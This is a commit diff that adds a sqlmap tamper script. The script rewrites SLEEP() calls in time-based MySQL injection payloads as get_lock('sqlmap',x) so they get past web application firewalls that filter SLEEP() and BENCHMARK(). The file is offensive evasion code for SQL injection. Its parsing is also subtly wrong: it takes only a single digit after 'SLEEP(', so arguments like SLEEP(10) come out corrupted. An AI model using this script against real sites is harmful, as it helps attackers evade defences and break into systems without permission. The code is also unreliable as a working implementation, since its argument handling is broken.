new tamper script (#4344)

* new tamper script

works with time-based queries

* Update sleepgetlock.py

Co-authored-by: Miroslav Stampar <miroslav@sqlmap.org>

tamper/sleepgetlock.py

@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces instances like 'SLEEP(x)' with "get_lock('sqlmap',x)"
+
+    Requirement:
+        * MySQL
+
+    Tested against:
+        * MySQL 5.0 and 5.5
+
+    Notes:
+        * Useful to bypass very weak and bespoke web application firewalls
+          that filter the SLEEP() and BENCHMARK() functions
+
+        * Reference: https://zhuanlan.zhihu.com/p/35245598
+
+    >>> tamper('SLEEP(2)')
+    "get_lock('sqlmap',2)"
+    """
+
+    if payload and payload.find("SLEEP") > -1:
+        while payload.find("SLEEP(") > -1:
+            index = payload.find("SLEEP(")
+            depth = 1
+            
+            num = payload[index+6]
+
+            newVal = "get_lock('sqlmap',%s)" % (num)
+            payload = payload[:index] + newVal + payload[index+8:]
+
+
+    return payload